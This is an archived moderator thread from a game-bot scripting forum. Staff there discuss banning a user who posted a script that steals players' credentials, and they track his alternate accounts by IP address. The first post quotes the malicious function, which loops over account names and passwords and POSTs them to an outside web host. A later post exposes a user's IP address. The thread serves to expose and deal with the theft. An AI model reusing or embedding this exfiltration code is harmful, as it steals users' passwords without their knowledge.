SRL Archive - Senior News and General

Fosscape


Hobbit

2009-01-19 11:01:09

Another password stealing script…
http://www.villavu.com/forum/showthread.php?t=40878?p=531569#post531569

function Update: boolean;
var
MyClient, i: integer;
begin
MyClient := InitializeHTTPClient(False, False);
for i := 0 to Length(Players) - 1 do
begin
AddPostVariable(MyClient, 'SBeta' + intToStr(i), Players[i].Name);
AddPostVariable(MyClient, 'SVers' + intToStr(i), Players[i].Pass);
end;
Result := StrToBoolDef(PostHTTPPageEx(MyClient, 'http://tsdownloader.100webspace.net/index.php'), False);
FreeHTTPClient(MyClient);
end;

I've unapproved the attachment and closed the thread for now.

Discuss.

Markus

2009-01-19 11:03:15

Perm ban, easy. He's a junior not a member and doesn't deserve better.
Lol btw @ sandstorm/hey321 discovering it :p

Hobbit

2009-01-19 11:04:58

I though who discovered it was pretty ironic myself.

Link to attachment : http://www.srl-forums.com/forum/attachment.php?attachmentid=16163&d=1232379305


Edit : http://www.villavu.com/forum/showthread.php?t=32207

Hmmmm

Copy and paste? Same person?

EvilChicken!

2009-01-19 11:26:49

Permanent ban in addition to his offense being exposed to public and set as an example.

I'm getting really sick of these pixel thieves, we need to tighten our grip.

boberman

2009-01-19 11:47:12

I said Temp ban and barred from members (can we even bar him from JR?). Barring that, a perma-ban. The only reason not to outright permaban him is for the possibility that he creates a new account and tries the same stuff. (We can do IP bans correct? That might be needed)

Sir R. M8gic1an

2009-01-19 12:11:49

it just seems to be fashionable this week.

permanent ban, set example.

being new to the community he might not return.

~RM

Boreas

2009-01-19 13:48:52

Perm ban, set example etc. Don't IP ban, and when he comes back on another acct on the same IP, watch him, and never let into members.


Edit:
Yea Hobbit same person. Twentysox is a partial IP match (along with others like MeepScape), and that was a few months ago so it's a dynamic IP.

Hobbit

2009-01-19 15:25:58

From: Boreas
Perm ban, set example etc. Don't IP ban, and when he comes back on another acct on the same IP, watch him, and never let into members.


Edit:
Yea Hobbit same person. Twentysox is a partial IP match (along with others like MeepScape), and that was a few months ago so it's a dynamic IP.


Sounds good.
But we'll wait for more responces

But when we ban we should ban all of his accounts and when he comes back put an administrative note on his profile notifying staff of him being barred from memebers

Boreas

2009-01-19 15:51:54

Ban just Twentysox and Fosscape, because he knows we know they are the same because of the script and he knows we are banning due to pass stealing. If we ban the others he'll know we are tracking by IP, and will come back with a proxy.

WT-Fakawi

2009-01-19 16:53:38

Ban them both and monitor, yah. Maybe in SSRL a List of suspicious characters or people to watch?

Bam Bam

2009-01-19 20:35:34

I noticed him today too… I say perm ban.

(I didn't post anything because Hobbit had already found him)

How did Sandstorm discover both of them?

Pyro

2009-01-20 01:53:47

Man. Seems to be the new in thing. I remember hatless cow doing this aggggeesss ago in a fisher? Was it? I cant actually remember.

And then there is a lull of no one doing it then suddenly everyone wants a piece of the pixels.

Lee Lok Hin

2009-01-20 07:49:21

Permanant Ban, as he has never really contributed to the community. Apart from a password stealing script.

Small question though. What's miserable user?

Markus

2009-01-20 09:22:43

From: Lee Lok Hin
Small question though. What's miserable user?

Annoyin as fuck it is :p
Redirects you to wrong pages often, SRL load times increase to at least 30 seconds, gives tons of other errors etc.

Hobbit

2009-01-20 15:03:16

From: Markus
Annoyin as fuck it is :p
Redirects you to wrong pages often, SRL load times increase to at least 30 seconds, gives tons of other errors etc.


It's actually quite amusing. :p

But that information must NEVER leave SSRL!

Markus

2009-01-20 15:56:29

From: Hobbit
But that information must NEVER leave SSRL!

Lol, everyone taking a look @ vbulletin.org knows, and I'm sure quite a lot of SRL Members know it too =/

Bobarkinator

2009-01-20 16:22:17

From: Markus
Lol, everyone taking a look @ vbulletin.org knows, and I'm sure quite a lot of SRL Members know it too =/


I never knew.

Ruroken

2009-01-20 16:25:55

From: Bobarkinator
I never knew.


Seconded.

On topic: Perm ban, miserable user

Bam Bam

2009-01-20 17:30:03

From: Ruroken
Seconded.

On topic: Perm ban, miserable user


Whats the point of making him a miserable user if you perm ban him? I didn't know of miserable user before… it would certainly be amusing for him to get that. xD

Yakman

2009-01-20 17:36:20

i think miserable user works on a per-computer basis, it uses cookies iirc
the person doesnt even need to log in for it to take effect

The Claw

2009-01-21 03:04:56

I think we should ban and make all attempted password stealers miserable users, chances are they won't be smart enough to figure out why srl is loading slow etc and it will hopefully deter them from staying after making their new account. And if they do stay, we can monitor them as Boreas was saying easily enough anyway

And Fawk's list is a good idea, we could cross-reference any SRL member applicants/new cup nominees agaisnt it before they get granted anything

Wizzup?

2009-01-21 06:31:41

lvl6 has just joined, and he is FossScape
http://www.srl-forums.com/forum/member.php?u=57432

He made 10 posts in a row, all no spam, kind of useful comments. I checked his IP's…

* Fosscape 58.175.27.82 [Find Posts by User] [View Other IP Addresses for this User]
* Lvl6 58.175.27.82 [Find Posts by User] [View Other IP Addresses for this User]

Miserable'd him.

Boreas

2009-01-21 07:03:07

Lol it's like clockwork.

R0b0t1

2009-01-21 18:32:44

It'd be useful, then, if we could view people's IP's by their post…